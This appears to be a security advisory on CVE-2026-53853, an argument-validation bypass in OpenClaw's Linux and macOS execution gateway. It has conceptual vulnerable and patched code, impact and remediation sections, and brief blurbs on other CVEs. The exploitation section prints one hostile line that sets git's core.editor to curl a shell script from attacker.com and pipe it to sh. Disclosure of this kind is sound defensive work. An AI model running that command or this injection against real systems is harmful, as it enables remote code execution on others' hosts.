Jun 19, 2026·6 min read·12 visits
OpenClaw versions before 2026.5.12 on Linux and macOS skip validation of the argPattern configuration, enabling low-privileged users to execute allowlisted binaries with arbitrary, unauthorized arguments.
An incorrect authorization vulnerability in OpenClaw before 2026.5.12 allows authenticated attackers with low privileges to bypass the argument restriction policy on Linux and macOS platforms. By exploiting the omitted validation of the argPattern parameter, attackers can execute allowlisted binaries with arbitrary command line arguments, leading to unauthorized code execution and system compromise.
OpenClaw acts as an execution gateway enabling integration modules or authenticated users to invoke external system binaries. To secure this process, administrators implement a strict executable allowlist coupled with argument pattern restrictions (argPattern) to enforce the principle of least privilege. This control is designed to restrict authorized binaries, such as git or curl, from running with unauthorized flags or parameters.\n\nIn versions prior to 2026.5.12, a protection mechanism failure exists within the platform-specific gateway implementations. While the Windows-specific execution path performs proper argument pattern validation, the Linux and macOS pathways execute allowlisted binaries without inspecting their command-line arguments. This discrepancy leaves the Unix-like environments exposed to argument injection attacks.\n\nAn authenticated user with low privileges can leverage this flaw to run any allowlisted binary with arbitrary parameters. This bypass undermines the security boundaries established by the administrator, effectively rendering the argument validation configuration useless on Linux and macOS.
The root cause of this vulnerability lies in an asymmetric validation logic across platform-specific gateways. The OpenClaw execution engine relies on configurations that define both the absolute binary path and a corresponding regular expression for argument enforcement. During the execution request lifecycle, the gateway must perform validation to ensure the requested execution matches both definitions.\n\nAnalysis of the execution module reveals that the validation logic branch for Unix-like operating systems entirely omitted the regular expression evaluation loop. The application correctly checked whether the target binary path was registered on the allowlist but skipped the subsequent argPattern check. On Windows hosts, the validation code was correctly implemented, creating a platform-dependent security disparity.\n\nConsequently, the validation routine on Linux and macOS transitions directly from binary verification to process instantiation. The engine accepts arbitrary arguments because there is no condition in the execution path that compares the user-supplied argument array against the argPattern regular expression. This flaw is classified under CWE-693 (Protection Mechanism Failure) and CWE-863 (Incorrect Authorization).
To demonstrate the difference between the vulnerable and patched states, consider the conceptual gateway validation logic implemented in the execution module.\n\njavascript\n// Vulnerable Gateway Implementation (Linux/macOS)\nfunction executeCommand(binaryConfig, userArgs) {\n // Step 1: Validate binary is in allowlist\n if (!isAllowlisted(binaryConfig.path)) {\n throw new Error('Unauthorized binary');\n }\n\n // BUG: The argPattern validation check is completely omitted on Unix-like platforms\n // The control flow proceeds directly to execution without verifying userArgs\n return spawnProcess(binaryConfig.path, userArgs);\n}\n\n\nIn the patched version (2026.5.12), the development team unified the execution pathway. The validation logic now strictly enforces the regex check regardless of the underlying operating system environment.\n\njavascript\n// Patched Gateway Implementation\nfunction executeCommand(binaryConfig, userArgs) {\n // Step 1: Validate binary is in allowlist\n if (!isAllowlisted(binaryConfig.path)) {\n throw new Error('Unauthorized binary');\n }\n\n // FIX: Enforce argument pattern check on all platforms\n if (binaryConfig.argPattern) {\n const argumentString = userArgs.join(' ');\n const regex = new RegExp(binaryConfig.argPattern);\n if (!regex.test(argumentString)) {\n throw new Error('Invalid arguments provided');\n }\n }\n\n return spawnProcess(binaryConfig.path, userArgs);\n}\n\n\nThe fix is robust as it ensures that the argPattern validation is central to the command preparation lifecycle, eliminating the platform-specific bypass. However, developers must ensure that the regular expressions themselves are securely written to prevent Regular Expression Denial of Service.
Exploitation of CVE-2026-53853 requires low-privileged authenticated API access to the OpenClaw execution gateway on a Linux or macOS host. The attacker must first identify which binaries have been allowlisted by the administrator. Even if the binaries are restricted to safe actions via argPattern, the attacker can supply arbitrary parameters because the pattern is not enforced.\n\nFor example, if /usr/bin/git is allowlisted to perform simple repository cloning, an attacker can invoke the command with alternative parameters designed to execute commands or write files. The following flowchart represents the execution process flow:\n\nmermaid\ngraph LR\n A[Attacker_Initiates_API_Request] --> B[Payload_Target_Binary_With_Malicious_Arguments]\n B --> C[OpenClaw_Verifies_Binary_Is_Allowlisted]\n C --> D[Linux_macOS_Gateway_Skips_Validation]\n D --> E[Command_Executed_With_Malicious_Parameters]\n E --> F[Arbitrary_System_Commands_Executed]\n\n\nBy executing git config --global core.editor \"curl http://attacker.com/shell.sh | sh\", the attacker forces the system to execute an external script during sub-operations. Alternatively, if a utility like awk or find is allowlisted, the attacker can use native execution flags to achieve direct arbitrary shell command execution.
The security impact of this vulnerability is classified as High, with a CVSS v3.1 base score of 8.3. Because the execution gateway runs with the privileges of the parent OpenClaw process, successful exploitation leads to command execution in the context of that user account. If the OpenClaw instance runs with elevated privileges or root permissions, the entire host is compromised.\n\nAn attacker can achieve full confidentiality and integrity impact by reading sensitive configuration files, accessing environment variables containing API tokens, or writing files to unauthorized locations on the host system. The availability impact is rated as low, as the primary objective of an attacker in this scenario is typically system compromise rather than denial of service.\n\nAccording to threat intelligence, while there are no reports of active exploitation in the wild, the low complexity of exploitation and the direct path to remote code execution make this a highly critical security issue that demands immediate remediation.
The primary and recommended remediation is to upgrade OpenClaw to version 2026.5.12 or newer. This version introduces unified platform validation, ensuring that both Linux and macOS gateways correctly apply regular expression validation to all execution arguments.\n\nIf upgrading is not immediately feasible, administrators should apply temporary workarounds. First, disable the execution gateway module if it is not business-critical. Second, audit the execution allowlist and remove any high-risk binaries that contain intrinsic shell-execution capabilities. Third, implement OS-level containment, such as running the OpenClaw process inside a low-privileged container environment or applying strict AppArmor/SELinux policies to limit the commands that the process can spawn.\n\nAdditionally, security teams should implement monitoring to detect anomalous sub-processes spawned by the OpenClaw parent process, focusing on command executions containing arguments that deviate from expected administrative patterns.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L| Attribute | Detail |
|---|---|
| CWE ID | CWE-693 (Protection Mechanism Failure), CWE-863 (Incorrect Authorization) |
| Attack Vector | Network |
| CVSS Score | 8.3 |
| Exploit Status | poc |
| Affected Platforms | Linux, macOS |
| Fixed Version | 2026.5.12 |
The product does not use or incorrectly implements a protection mechanism that is specified by design, permitting attackers to bypass intended security controls.
An authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.
CVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.
CVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.
The malicious Cargo package 'exploration' was uploaded to the crates.io registry. During compilation or package import, the crate executes code designed to establish an outbound TCP/HTTP connection, download an external second-stage binary, and execute the binary locally on the host machine. This creates an unauthenticated remote code execution vector impacting developer environments and continuous integration pipelines.
CVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.
An authenticated remote code execution vulnerability exists in NotrinosERP (versions up to and including 1.0.0) within the Human Resource Management (HRM) module. Users with employee management permissions can upload arbitrary file types, including PHP scripts, which are written directly to a web-accessible directory. This allows for arbitrary code execution in the context of the web-server user.